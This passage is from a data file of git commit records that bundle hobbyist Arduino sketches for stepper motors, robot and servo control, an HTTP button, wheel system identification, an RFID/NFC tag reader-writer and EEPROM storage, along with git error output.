digitalWrite(D5, HIGH); \/\/ activate trigger\n\n digitalWrite(D5, LOW); \/\/ de-activate trigger\n\n duration = pulseIn(D7, HIGH); \/\/ how long until a reply?\n \n digitalWrite(D4, HIGH); \/\/ activate trigger\n\n digitalWrite(D4, LOW); \/\/ de-activate trigger\n \n duration1 = pulseIn(D6, HIGH);\n \/\/ a blocking call so may wait a few seconds\n \n if (duration + duration1 > 2000 ){ \/\/ raw data from 200 to 16000 \n \/\/ where 2000 raw = ~35cm, 4000 raw = ~80cm 1 \n myStepStop(10);\n \n } else {\n myStepClockwise(10);\n \n }\n \n digitalWrite(D4, HIGH); \/\/ activate trigger\n\n digitalWrite(D4, LOW); \/\/ de-activate trigger\n \n duration1 = pulseIn(D6, HIGH); \/\/ how long until a reply?\n \n digitalWrite(D5, HIGH); \/\/ activate trigger\n\n digitalWrite(D5, LOW); \/\/ de-activate trigger\n\n duration = pulseIn(D7, HIGH); \/\/ how long until a reply?\n \/\/ a blocking call so may wait a few seconds\n if (duration1 < 2000 + duration > 2000 ){ \/\/ raw data from 200 to 16000 \n \/\/ where 2000 raw = ~35cm, 4000 raw = ~80cm 1 \n myStepClockwise(10);\n \n } else {\n \n myStepCounterClockwise(10);\n }\n}\n\n \n void myStepClockwise(int myDelay){\n \n digitalWrite(D0,1); \/\/power D0\n digitalWrite(D1,0);\n digitalWrite(D2,0);\n digitalWrite(D3,0);\n delay(myDelay);\n \n digitalWrite(D0,0);\n digitalWrite(D1,0);\n digitalWrite(D2,1); \/\/power D2\n digitalWrite(D3,0);\n delay(myDelay);\n \n digitalWrite(D0,1);\n digitalWrite(D1,1); \/\/power D1\n digitalWrite(D2,0);\n digitalWrite(D3,0);\n delay(myDelay);\n\n\n digitalWrite(D0,0);\n digitalWrite(D1,0);\n digitalWrite(D2,1);\n digitalWrite(D3,1); \/\/power D3\n delay(myDelay);\n \n} \n\n void myStepCounterClockwise(int myDelay){\n\n digitalWrite(D0,0);\n digitalWrite(D1,0);\n digitalWrite(D2,1);\n digitalWrite(D3,1); \/\/power D3\n delay(myDelay);\n \n \n digitalWrite(D0,1);\n digitalWrite(D1,1); \/\/power D1\n digitalWrite(D2,0);\n digitalWrite(D3,0);\n delay(myDelay);\n\n \n digitalWrite(D0,0);\n digitalWrite(D1,0);\n digitalWrite(D2,1); \/\/power D2\n digitalWrite(D3,0);\n delay(myDelay);\n \n digitalWrite(D0,1); \/\/power D0\n digitalWrite(D1,0);\n digitalWrite(D2,0);\n digitalWrite(D3,0);\n delay(myDelay);\n\n\n} \n\n\n void myStepStop(int myDelay){\n\n digitalWrite(D0,0);\n digitalWrite(D1,0);\n digitalWrite(D2,0);\n digitalWrite(D3,0); \/\/power D3\n delay(myDelay);\n \n \n digitalWrite(D0,0);\n digitalWrite(D1,0); \/\/power D1\n digitalWrite(D2,0);\n digitalWrite(D3,0);\n delay(myDelay);\n\n \n digitalWrite(D0,0);\n digitalWrite(D1,0);\n digitalWrite(D2,0); \/\/power D2\n digitalWrite(D3,0);\n delay(myDelay);\n \n digitalWrite(D0,0); \/\/power D0\n digitalWrite(D1,0);\n digitalWrite(D2,0);\n digitalWrite(D3,0);\n delay(myDelay);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 't2a12-finalproject-emry.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4de615a2c710ac589572391b9896bc7c3e6ba89c","subject":"drain","message":"drain\n","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/ProgramExecutor.ino","new_file":"LaundryMachine\/ProgramExecutor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"463f76ba07238d4a297e8e635128e7a9a5018776","subject":"Added Arduino robot control code.","message":"Added Arduino robot control code.\n","repos":"pangboww\/remote_robot,pangboww\/remote_robot","old_file":"robot_arduino\/robot_arduino.ino","new_file":"robot_arduino\/robot_arduino.ino","new_contents":"#include <AFMotor.h>\nAF_DCMotor motorL(1);\nAF_DCMotor motorR(2);\n\nconst int CMD_FORWARD = 1;\nconst int CMD_BACKWARD = 2;\nconst int CMD_LEFT = 3;\nconst int CMD_RIGHT = 4;\nconst int CMD_STOP = 5;\n\nvoid setup() {\n Serial.begin(9600);\n motorL.setSpeed(255);\n motorR.setSpeed(255);\n\n \/\/this will allow the parseInt to read faster and \n \/\/the arduino board will responsd faster\n Serial.setTimeout(50); \n}\n\nvoid loop() {\n int cmd = Serial.parseInt();\n Serial.println(cmd);\n \n switch(cmd) {\n case CMD_FORWARD:\n moveForward();\n break;\n \n case CMD_BACKWARD:\n moveBackward();\n break;\n \n case CMD_LEFT:\n moveLeft();\n break;\n \n case CMD_RIGHT:\n moveRight();\n break;\n \n case CMD_STOP:\n stopMotors();\n break;\n }\n\n}\n\nvoid moveForward() {\n motorL.run(FORWARD);\n motorR.run(FORWARD);\n}\n\nvoid moveBackward() {\n motorL.run(BACKWARD);\n motorR.run(BACKWARD);\n}\n\nvoid moveLeft() {\n motorL.run(BACKWARD);\n motorR.run(FORWARD);\n}\n\nvoid moveRight() {\n motorR.run(BACKWARD);\n motorL.run(FORWARD);\n}\n\nvoid stopMotors() {\n motorR.run(RELEASE);\n motorL.run(RELEASE);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'robot_arduino\/robot_arduino.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"340324ec9f8af23c40c6e11e6f02399e515112df","subject":"Add files via upload","message":"Add files via upload\n\nteam BeLike","repos":"Daneel-R\/Daneel-R","old_file":"Robotic_Arm.ino","new_file":"Robotic_Arm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Daneel-R\/Daneel-R.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"eb504c1a37cbefbd73f1ce317da39131098b1db2","subject":"Adding example of using ClServo class.","message":"Adding example of using ClServo class.\n","repos":"aliwatters\/arduino-casino,aliwatters\/arduino-casino","old_file":"servocontrol\/clservocontrol.ino","new_file":"servocontrol\/clservocontrol.ino","new_contents":"#include <Servo.h>\n#include <ClServo.h>\n\nint servoPin = 9;\n\nServo servo;\n\nClServo cl_servo = ClServo(servo, servoPin);\n\nboolean handshakePerformed = false;\n\nvoid setup() {\n Serial.begin(9600);\n cl_servo.init();\n}\n\nvoid loop() {\n int inSpeed;\n \n cl_servo.setNextSpeed(cl_servo.getSpeed());\n if (Serial.available()) {\n if (!handshakePerformed) {\n inSpeed = Serial.read();\n Serial.println(\"ack\");\n handshakePerformed = true;\n return;\n }\n inSpeed = Serial.read();\n cl_servo.setNextSpeed(inSpeed); \n }\n cl_servo.operate();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'servocontrol\/clservocontrol.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e4c9e71ca1eb963d757b5910d71073fd3dff49bc","subject":"Add pool button example sketch.","message":"Add pool button example sketch.\n","repos":"futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor,futurice\/vor","old_file":"vor-arduino\/examples\/pool\/pool.ino","new_file":"vor-arduino\/examples\/pool\/pool.ino","new_contents":"#include <Bridge.h>\n#include <YunClient.h>\n\n#include \"HttpClient.h\"\n#include \"vor_led.h\"\n#include \"vor_button.h\"\n\n#define SERVER_URL \"rubix.futurice.com\"\n#define SERVER_PORT 80\n#define SERVER_PATH \"\/messages\"\n\n#define USERAGENT \"yunmini01\"\n\n#define TIMEOUT 20000\n#define DELAY 500\n#define INTERVAL 5000\n\n#define MSG_FORMAT \"{\\\"id\\\":\\\"button-pool\\\",\\\"type\\\":\\\"button\\\"}\"\n\n#define BUTTON_PIN 2\n\nYunClient client;\nHttpClient http(client);\n\nVorLed led;\nVorButton button(BUTTON_PIN);\nint buttonState = button.peek();\n\nvoid setup() {\n Serial.begin(9600);\n\n led.turnOn();\n Bridge.begin();\n led.turnOff();\n}\n\nvoid loop() {\n int state = button.read();\n\n if (buttonState != state) {\n buttonState = state;\n\n if (LOW == buttonState) {\n post();\n led.turnOn();\n } else {\n led.turnOff();\n }\n }\n}\n\nvoid post() {\n int res = http.post(SERVER_URL, SERVER_PATH, USERAGENT, TEXT_PLAIN, MSG_FORMAT);\n if (0 == res) { \/\/ HTTP_SUCCESS in HttpClient.h\n int code = http.responseStatusCode();\n Serial.println(code);\n http.skipResponseHeaders();\n uint64_t now = millis();\n char c;\n while ((http.connected() || http.available()) && ((millis() - now) < TIMEOUT)) {\n if (http.available()) {\n c = http.read();\n Serial.print(c);\n now = millis();\n } else {\n delay(DELAY);\n }\n }\n }\n http.stop();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'vor-arduino\/examples\/pool\/pool.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10453bc889fbccfcd3da694d6f35b3330f7cab67","subject":"end stops are now configured","message":"end stops are now configured\n\nand reading the status unlocks the endstops\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"EndstopTest\/EndstopTest.ino","new_file":"EndstopTest\/EndstopTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"500d3b4eb7d6aa5578276d27b86a1ba6b192db07","subject":"Single Wheel System ID","message":"Single Wheel System ID\n\nName correction\n","repos":"utdrobotchess\/chess-game","old_file":"Embedded-Arduino\/Testing\/SystemID\/Single_Wheel_System_ID\/Single_Wheel_System_ID.ino","new_file":"Embedded-Arduino\/Testing\/SystemID\/Single_Wheel_System_ID\/Single_Wheel_System_ID.ino","new_contents":"#include <Arduino.h>\n#include <Wire.h>\n#include <digitalWriteFast.h>\n#include <math.h>\n\n\/\/######ENCODERS######\n\/\/Left Encoder\n#define c_LeftEncoderInterrupt 0\n#define c_LeftEncoderPinA 2\n#define c_LeftEncoderPinB 4\n#define LeftEncoderIsReversed\nvolatile bool _LeftEncoderBSet;\nvolatile long _LeftEncoderTicks = 0;\n\n\/\/Right Encoder\n#define c_RightEncoderInterrupt 1\n#define c_RightEncoderPinA 3\n#define c_RightEncoderPinB 5\nvolatile bool _RightEncoderBSet;\nvolatile long _RightEncoderTicks = 0;\n\nlong Prev_LeftEncoderTicks;\nlong Prev_RightEncoderTicks;\n\n\/\/######MOTORS#########\n\/\/Left Motor\nconst int reverseLeftMotorPin = 11;\nconst int forwardLeftMotorPin = 10;\n\n\/\/Right Motor\nconst int reverseRightMotorPin = 9;\nconst int forwardRightMotorPin = 8;\n\n\/\/######SYSTEM ID#######\n\/\/Modify these fields\nconst int totalVolComs = 20; \/\/the total number of voltage commands to be executed by the robot\nconst int testPin1 = forwardLeftMotorPin;\nconst int testPin2 = forwardRightMotorPin;\n\nint volComs[totalVolComs]; \/\/the voltage commands to be executed by robot\nint volComsIndex = 0; \/\/keeps track of which voltage command the robot is current executing\nunsigned long volComTimes[totalVolComs]; \/\/the lengths of time each voltage command is executed\n\nconst int totalTime = 20000; \/\/the total amount of time the robot should measure angular velocity of the wheels\nconst int velsSize = totalTime \/ 20;\nint vels[velsSize]; \/\/the velocities of the wheels, measured every 20 ms\nint velsIndex = 0; \/\/keeps track of which measurement is currently being executed\nint velsTimes[velsSize];\nint velsCommandIndex[velsSize];\n\nunsigned long currentTime;\nunsigned long lastMeasureTime;\nunsigned long lastCommandTime;\nboolean commandNow = false;\nboolean measureNow = false;\n\nvoid setup(){\n Serial.begin(9600);\n \n \/\/Left Encoder\n pinMode(c_LeftEncoderPinA, INPUT); \/\/sets pin A as input\n digitalWrite(c_LeftEncoderPinA, LOW); \/\/turns on pullup resistors\n pinMode(c_LeftEncoderPinB, INPUT); \/\/sets pin B as input\n digitalWrite(c_LeftEncoderPinB, LOW); \/\/turns on pullup resistors\n attachInterrupt(c_LeftEncoderInterrupt, HandleLeftMotorInterruptA, RISING);\n \n \/\/Right Encoder\n pinMode(c_RightEncoderPinA, INPUT); \/\/sets pin A as input\n digitalWrite(c_RightEncoderPinA, LOW); \/\/turns on pullup resistors\n pinMode(c_RightEncoderPinB, INPUT); \/\/sets pin B as input\n digitalWrite(c_RightEncoderPinB, LOW); \/\/turns on pullupresistors\n attachInterrupt(c_RightEncoderInterrupt, HandleRightMotorInterruptA, RISING);\n \n Prev_RightEncoderTicks = _RightEncoderTicks;\n Prev_LeftEncoderTicks = _LeftEncoderTicks;\n \n \/\/Motors\n pinMode(reverseLeftMotorPin, OUTPUT);\n pinMode(forwardLeftMotorPin, OUTPUT);\n pinMode(reverseRightMotorPin, OUTPUT);\n pinMode(forwardRightMotorPin, OUTPUT);\n \n generateCommandArrays();\n \n outputResults();\n \n performTest();\n}\n\nvoid loop(){\n}\n\nvoid generateCommandArrays(){\n randomSeed(analogRead(0));\n \n for(int i = 0; i < totalVolComs; i++){\n volComs[i] = random(256);\n volComTimes[i] = 5*random(1,400);\n } \n}\n\nvoid performTest(){\n const unsigned long baseTime = millis();\n currentTime = baseTime;\n analogWrite(reverseLeftMotorPin, volComs[volComsIndex]);\n lastCommandTime = currentTime;\n lastMeasureTime = currentTime;\n \n while(currentTime - baseTime < totalTime){\n currentTime = millis();\n commandNow = (currentTime - lastCommandTime >= volComTimes[volComsIndex] && lastCommandTime != currentTime) ? true : false;\n measureNow = (currentTime - lastMeasureTime >= 20 && lastMeasureTime != currentTime) ? true : false;\n \n if(commandNow || measureNow){\n if(commandNow){\n analogWrite(reverseLeftMotorPin, volComs[++volComsIndex]);\n lastCommandTime = currentTime;\n }\n \n if(measureNow){\n vels[velsIndex] = _LeftEncoderTicks - Prev_LeftEncoderTicks;\n lastMeasureTime = currentTime;\n Prev_LeftEncoderTicks = _LeftEncoderTicks;\n velsTimes[velsIndex] = currentTime - baseTime;\n velsCommandIndex[velsIndex++] = volComsIndex;\n }\n }\n }\n \n digitalWrite(reverseLeftMotorPin, LOW);\n}\n\nvoid outputResults(){\n for(int i = 0; i < totalVolComs; i++){\n Serial.print(volComs[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.println(volComTimes[i]);\n delay(5);\n }\n \n Serial.println(\"End Commands\\n\\nStart Measurements\");\n delay(20);\n \n for(int i = 0; i < velsSize; i++){\n Serial.print(velsTimes[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.print(velsCommandIndex[i]);\n delay(5);\n Serial.print(\" \");\n delay(5);\n Serial.println(vels[i]);\n delay(5);\n }\n \n Serial.println(\"End Measurements\");\n}\n\n\/\/ DO NOT MODIFY BELOW THIS POINT\n\/\/############ ENCODER INTERRUPTS ################\n\/\/ Interrupt service routines for the left motor's quadrature encoder \nvoid HandleLeftMotorInterruptA() {\n \/\/ Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A \n _LeftEncoderBSet = digitalReadFast(c_LeftEncoderPinB); \/\/ read the input pin \n\n \/\/ and adjust counter + if A leads B \n#ifdef LeftEncoderIsReversed \n _LeftEncoderTicks -= _LeftEncoderBSet ? -1 : +1; \n#else \n _LeftEncoderTicks += _LeftEncoderBSet ? -1 : +1; \n#endif \n} \n\n\/\/ Interrupt service routines for the right motor's quadrature encoder \nvoid HandleRightMotorInterruptA() {\n \/\/ Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A \n _RightEncoderBSet = digitalReadFast(c_RightEncoderPinB); \/\/ read the input pin \n\n \/\/ and adjust counter + if A leads B \n#ifdef RightEncoderIsReversed \n _RightEncoderTicks -= _RightEncoderBSet ? -1 : +1; \n#else \n _RightEncoderTicks += _RightEncoderBSet ? -1 : +1; \n#endif\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Embedded-Arduino\/Testing\/SystemID\/Single_Wheel_System_ID\/Single_Wheel_System_ID.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d5801ba303cc871ffd7d88e229ab522e0e6021b3","subject":"Updated Watson w\/animation","message":"Updated Watson w\/animation\n\n","repos":"ckuzma\/nodemcu-as-arduino,ckuzma\/nodemcu-as-arduino","old_file":"Sketches\/LED Board\/led_board_new\/led_board_new.ino","new_file":"Sketches\/LED Board\/led_board_new\/led_board_new.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sketches\/LED' did not match any file(s) known to git\nerror: pathspec 'Board\/led_board_new\/led_board_new.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"78071286f1a0234b90fb25fd786d7311b48a397a","subject":"Add RFIDScanner","message":"Add RFIDScanner\n","repos":"BoolLi\/RC522_RFID_NFC_Utilities","old_file":"RFIDScanner\/RFIDScanner.ino","new_file":"RFIDScanner\/RFIDScanner.ino","new_contents":"\/*\n * This program is modeified from an example provided by the RC522 library:\n * https:\/\/github.com\/miguelbalboa \/rfid\n * \n * Author: BoolLi\n * \n * Typical pin layout used:\n * -----------------------------------------------------------------------------------------\n * MFRC522 Arduino Arduino Arduino Arduino Arduino\n * Reader\/PCD Uno Mega Nano v3 Leonardo\/Micro Pro Micro\n * Signal Pin Pin Pin Pin Pin Pin\n * -----------------------------------------------------------------------------------------\n * RST\/Reset RST 9 5 D9 RESET\/ICSP-5 RST\n * SPI SS SDA(SS) 10 53 D10 10 10\n * SPI MOSI MOSI 11 \/ ICSP-4 51 D11 ICSP-4 16\n * SPI MISO MISO 12 \/ ICSP-1 50 D12 ICSP-1 14\n * SPI SCK SCK 13 \/ ICSP-3 52 D13 ICSP-3 15\n *\/\n\n#include <SPI.h>\n#include <MFRC522.h>\n\n#define RST_PIN\t\t9\t\t\/\/ \n#define SS_PIN\t\t10\t\t\/\/\n\nMFRC522 mfrc522(SS_PIN, RST_PIN);\t\/\/ Create MFRC522 instance\n\n\/\/ Define keys\nMFRC522::MIFARE_Key NFCDefaultkeyA;\nMFRC522::MIFARE_Key NFCkeyA;\nMFRC522::MIFARE_Key NFCkeyB;\nMFRC522::MIFARE_Key MADkeyA;\nMFRC522::MIFARE_Key MADkeyB;\n\n\/*\n * Prints a sector using key A\n * \n * Arguments:\n * sector: the sector number\n * keyA: the authentication key\n *\/\nvoid printSector(byte sector, MFRC522::MIFARE_Key *keyA)\n{\n byte trailerBlock = sector * 4 + 3; \/\/ get the trailer block\n Serial.println(F(\"Authenticating using key A...\"));\n byte status = mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, trailerBlock, keyA, &(mfrc522.uid));\n if (status != MFRC522::STATUS_OK) {\n Serial.print(F(\"PCD_Authenticate() failed: \"));\n Serial.println(mfrc522.GetStatusCodeName(status));\n return;\n }\n\n \/\/ Show the whole sector as it currently is\n Serial.println(F(\"Current data in sector:\"));\n mfrc522.PICC_DumpMifareClassicSectorToSerial(&(mfrc522.uid), keyA, sector);\n Serial.println();\n}\n\nvoid copyBytesToKey(byte *array, MFRC522::MIFARE_Key *key)\n{\n for (int i = 0; i < 6; i++)\n key->keyByte[i] = array[i];\n}\n\n\/**\n * Helper routine to dump a byte array as hex values to Serial.\n *\/\nvoid dump_byte_array(byte *buffer, byte bufferSize) {\n for (byte i = 0; i < bufferSize; i++) {\n Serial.print(buffer[i] < 0x10 ? \" 0\" : \" \");\n Serial.print(buffer[i], HEX);\n }\n}\n\n\nvoid printAllSectors() \n{\n byte sector = 0;\n printSector(sector, &MADkeyA);\n\n for (sector = 1; sector <= 15; sector++) {\n printSector(sector, &NFCkeyA);\n }\n}\n\n\nvoid writeBlock(byte sector, byte blockAddr, byte* dataBlock, MFRC522::MIFARE_Key *keyB)\n{\n byte trailerBlock = sector * 4 + 3;\n Serial.println(F(\"Authenticating again using key B...\"));\n byte status = mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_B, trailerBlock, keyB, &(mfrc522.uid));\n if (status != MFRC522::STATUS_OK) {\n Serial.print(F(\"PCD_Authenticate() failed: \"));\n Serial.println(mfrc522.GetStatusCodeName(status));\n return;\n }\n\n\n \/\/ Write first chunk of data to the block\n Serial.print(F(\"Writing data into block \")); Serial.print(blockAddr);\n Serial.println(F(\" ...\"));\n dump_byte_array(dataBlock, 16); Serial.println();\n status = mfrc522.MIFARE_Write(blockAddr, dataBlock, 16);\n if (status != MFRC522::STATUS_OK) {\n Serial.print(F(\"MIFARE_Write() failed: \"));\n Serial.println(mfrc522.GetStatusCodeName(status));\n }\n Serial.println();\n}\n\nvoid writeDefaultMessage() {\n \/* sector 1 block 4 *\/\n byte dataBlock14[] ={0x03, 0x11, \n 0xD1, 0x01, 0x0D, 0x55, \n 0x01, 0x61, 0x64, 0x61, \n 0x66, 0x72, 0x75, 0x69, 0x74, 0x2E}; \n \/* sector 1 block 5 *\/\n byte dataBlock15[] = { 0x63, 0x6F, \n 0x6D, 0xFE, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; \n \/* sector 1 block 6 *\/\n byte dataBlock16[] = {0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00}; \n\n \/* Rest of the data blocks are null *\/\n byte dataBlockNull[] = {0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00}; \n\n writeBlock(1,4, dataBlock14, &NFCkeyB);\n writeBlock(1,5, dataBlock15, &NFCkeyB);\n writeBlock(1,6, dataBlock16, &NFCkeyB);\n\n for (int i = 2; i <= 15; i++) {\n writeBlock(i, 4 * i, dataBlockNull, &NFCkeyB);\n writeBlock(i, 4 * i + 1, dataBlockNull, &NFCkeyB);\n writeBlock(i, 4 * i + 2, dataBlockNull, &NFCkeyB);\n }\n}\n\nvoid writePlainText() {\n \/* sector 1 block 4 *\/\n byte dataBlock14[] ={0x03, 0x17, 0xD1, 0x01,\n 0x13, 0x54, 0x02, 0x65, \n 0x6E, 0x61, 0x62, 0x63, \n 0x64, 0x65, 0x66, 0x67}; \n \/* sector 1 block 5 *\/\n byte dataBlock15[] = {0x68, 0x69, 0x6A, 0x6B,\n 0x6C, 0x6D, 0x6E, 0x6F, \n 0x70, 0xFE, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00}; \n \/* sector 1 block 6 *\/\n byte dataBlock16[] = {0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00}; \n\n \/* Rest of the data blocks are null *\/\n byte dataBlockNull[] = {0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00}; \n\n writeBlock(1,4, dataBlock14, &NFCkeyB);\n writeBlock(1,5, dataBlock15, &NFCkeyB);\n writeBlock(1,6, dataBlock16, &NFCkeyB);\n\n for (int i = 2; i <= 15; i++) {\n writeBlock(i, 4 * i, dataBlockNull, &NFCkeyB);\n writeBlock(i, 4 * i + 1, dataBlockNull, &NFCkeyB);\n writeBlock(i, 4 * i + 2, dataBlockNull, &NFCkeyB);\n }\n}\n\n\n\nvoid setup() {\n\tSerial.begin(9600);\t\t\/\/ Initialize serial communications with the PC\n\twhile (!Serial);\t\t\/\/ Do nothing if no serial port is opened (added for Arduinos based on ATMEGA32U4)\n\tSPI.begin();\t\t\t\/\/ Init SPI bus\n\tmfrc522.PCD_Init();\t\t\/\/ Init MFRC522\n\n byte NFCKeyADefaultByteArray[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};\n copyBytesToKey(NFCKeyADefaultByteArray, &NFCDefaultkeyA);\n\n byte NFCKeyAByteArray[] = {0xD3, 0xF7, 0xD3, 0xF7, 0xD3, 0xF7};\n copyBytesToKey(NFCKeyAByteArray, &NFCkeyA);\n\n byte NFCKeyBByteArray[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};\n copyBytesToKey(NFCKeyBByteArray, &NFCkeyB);\n\n byte MADKeyAByteArray[] = {0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5};\n copyBytesToKey(MADKeyAByteArray, &MADkeyA);\n\n byte MADKeyBByteArray[] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};\n copyBytesToKey(MADKeyBByteArray, &MADkeyB);\n \n\tShowReaderDetails();\t\/\/ Show details of PCD - MFRC522 Card Reader details\n\tSerial.println(F(\"Scan PICC to see UID, type, and data blocks...\"));\n}\n\nvoid loop() {\n\t\/\/ Look for new cards\n\tif ( ! mfrc522.PICC_IsNewCardPresent()) {\n\t\treturn;\n\t}\n\n\t\/\/ Select one of the cards\n\tif ( ! mfrc522.PICC_ReadCardSerial()) {\n\t\treturn;\n\t}\n\n\t\/\/ Dump debug info about the card; PICC_HaltA() is automatically called\n \/\/printAllSectors();\n\n \/* sector 0 block 0\n byte dataBlock[] = {0x3E, 0x39, 0xAB, 0x7F, \n 0xD3, 0x88, 0x04, 0x00, \n 0x47, 0x41, 0x16, 0x57, \n 0x4D, 0x10, 0x34, 0x08}; *\/\n\n \/* sector 0 block 3\n byte dataBlock[] = {0xA0, 0xA1, 0xA2, 0xA3, \n 0xA4, 0xA5, 0x78, 0x77, \n 0x88, 0xC1, 0xFF, 0xFF, \n 0xFF, 0xFF, 0xFF, 0xFF}; *\/\n \/* sector 1 block 4 \n byte dataBlock4[] = {0x00, 0x00, 0x03, 0x11, \n 0xD1, 0x01, 0x0D, 0x55, \n 0x01, 0x61, 0x64, 0x61, \n 0x66, 0x72, 0x75, 0x69}; *\/\n \/* sector 1 block 5 \n byte dataBlock5[] = {0x74, 0x2E, 0x63, 0x6F, \n 0x6D, 0xFE, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00}; *\/ \n \/* sector 1 block 6 \n byte dataBlock[] = {0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00, \n 0x00, 0x00, 0x00, 0x00}; *\/\n \/* sector 1 block 7 \n byte dataBlock[] = {0xD3, 0xF7, 0xD3, 0xF7, \n 0xD3, 0xF7, 0x7F, 0x07, \n 0x88, 0x40, 0xFF, 0xFF, \n 0xFF, 0xFF, 0xFF, 0xFF}; *\/\n \n \/*\n writeBlock(2,8, dataBlock, &NFCkeyB);\n writeBlock(2,9, dataBlock, &NFCkeyB);\n writeBlock(2,10, dataBlock, &NFCkeyB);\n writeBlock(3,12, dataBlock, &NFCkeyB); *\/\n \/\/writePlainText();\n printAllSectors();\n \n\t\/\/mfrc522.PICC_DumpToSerial(&(mfrc522.uid));\n}\n\nvoid ShowReaderDetails() {\n\t\/\/ Get the MFRC522 software version\n\tbyte v = mfrc522.PCD_ReadRegister(mfrc522.VersionReg);\n\tSerial.print(F(\"MFRC522 Software Version: 0x\"));\n\tSerial.print(v, HEX);\n\tif (v == 0x91)\n\t\tSerial.print(F(\" = v1.0\"));\n\telse if (v == 0x92)\n\t\tSerial.print(F(\" = v2.0\"));\n\telse\n\t\tSerial.print(F(\" (unknown)\"));\n\tSerial.println(\"\");\n\t\/\/ When 0x00 or 0xFF is returned, communication probably failed\n\tif ((v == 0x00) || (v == 0xFF)) {\n\t\tSerial.println(F(\"WARNING: Communication failure, is the MFRC522 properly connected?\"));\n\t}\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RFIDScanner\/RFIDScanner.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"074f320638c0f23e52554e0320f4946970b7494d","subject":"Create EEPROM.ino","message":"Create EEPROM.ino","repos":"pjarvey\/Lagering-Fridge","old_file":"EEPROM.ino","new_file":"EEPROM.ino","new_contents":"\/\/ These functinos write and read key variables from EEPROM memory\n\nvoid EEPROM_recall(){\n EEPROM_readAnything(0, SvH);\n EEPROM_readAnything(4, SvT);\n EEPROM_readAnything(8, Mode);\n\/\/ EEPROM_readAnything(9, preset);\n\/\/ EEPROM_readAnything(10, growphase);\n EEPROM_readAnything(11, daysAdj);\n EEPROM_readAnything(12, fanON);\n EEPROM_readAnything(13, fanOFF);\n \/\/EEPROM_readAnything(14, Tolerance);\n EEPROM_readAnything(15, TimeAdjust);\n EEPROM_readAnything(19, LightON);\n EEPROM_readAnything(23, LightOFF);\n EEPROM_readAnything(27, dutyCycle);\n EEPROM_readAnything(31, Kp);\n EEPROM_readAnything(35, Ki);\n EEPROM_readAnything(39, Kd);\n \/\/EEPROM_readAnything(31, minCool);\n}\n\nvoid EEPROM_record(){\n EEPROM_writeAnything(0, SvH);\n EEPROM_writeAnything(4, SvT);\n EEPROM_writeAnything(8, Mode);\n\/\/ EEPROM_writeAnything(9, preset);\n\/\/ EEPROM_writeAnything(10, 